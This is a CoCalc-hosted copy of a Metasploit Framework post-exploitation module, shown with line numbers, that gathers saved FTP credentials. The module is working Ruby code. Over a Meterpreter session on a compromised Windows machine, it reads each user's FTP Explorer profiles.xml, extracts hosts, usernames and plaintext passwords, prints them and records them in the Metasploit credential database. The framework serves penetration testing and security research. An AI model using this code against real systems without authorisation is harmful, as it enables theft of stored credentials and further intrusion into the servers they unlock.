CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/ftpx.rb
Views: 11704
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rexml/document'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::Windows::UserProfiles
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Windows Gather FTP Explorer (FTPX) Credential Extraction',
16
'Description' => %q{
17
This module finds saved login credentials for the FTP Explorer (FTPx)
18
FTP client for Windows.
19
},
20
'License' => MSF_LICENSE,
21
'Author' => [ 'bcoles' ],
22
'Platform' => [ 'win' ],
23
'SessionTypes' => [ 'meterpreter' ],
24
'Compat' => {
25
'Meterpreter' => {
26
'Commands' => %w[
27
core_channel_eof
28
core_channel_open
29
core_channel_read
30
core_channel_write
31
]
32
}
33
}
34
)
35
)
36
end
37
38
def run
39
grab_user_profiles.each do |user|
40
next if user['AppData'].nil?
41
42
xml = get_xml(user['AppData'] + '\\FTP Explorer\\profiles.xml')
43
unless xml.nil?
44
parse_xml(xml)
45
end
46
end
47
end
48
49
def get_xml(path)
50
connections = client.fs.file.new(path, 'r')
51
52
condata = ''
53
condata << connections.read until connections.eof
54
return condata
55
rescue Rex::Post::Meterpreter::RequestError => e
56
print_error "Error when reading #{path} (#{e.message})"
57
return nil
58
end
59
60
# Extracts the saved connection data from the XML.
61
# Reports the credentials back to the database.
62
def parse_xml(data)
63
mxml = REXML::Document.new(data).root
64
mxml.elements.to_a('//FTPx10//Profiles//').each.each do |node|
65
next if node.elements['Host'].nil?
66
next if node.elements['Login'].nil?
67
next if node.elements['Password'].nil?
68
69
host = node.elements['Host'].text
70
port = node.elements['Port'].text
71
user = node.elements['Login'].text
72
pass = node.elements['Password'].text
73
74
# skip blank passwords
75
next if !pass || pass.empty?
76
77
# show results to the user
78
print_good("#{session.sock.peerhost}:#{port} (#{host}) - '#{user}:#{pass}'")
79
80
# save results to the db
81
service_data = {
82
address: Rex::Socket.getaddress(host),
83
port: port,
84
protocol: 'tcp',
85
service_name: 'ftp',
86
workspace_id: myworkspace_id
87
}
88
89
credential_data = {
90
origin_type: :session,
91
session_id: session_db_id,
92
post_reference_name: refname,
93
username: user,
94
private_data: pass,
95
private_type: :password
96
}
97
98
credential_core = create_credential(credential_data.merge(service_data))
99
100
login_data = {
101
core: credential_core,
102
access_level: 'User',
103
status: Metasploit::Model::Login::Status::UNTRIED
104
}
105
106
create_credential_login(login_data.merge(service_data))
107
end
108
end
109
end
110
111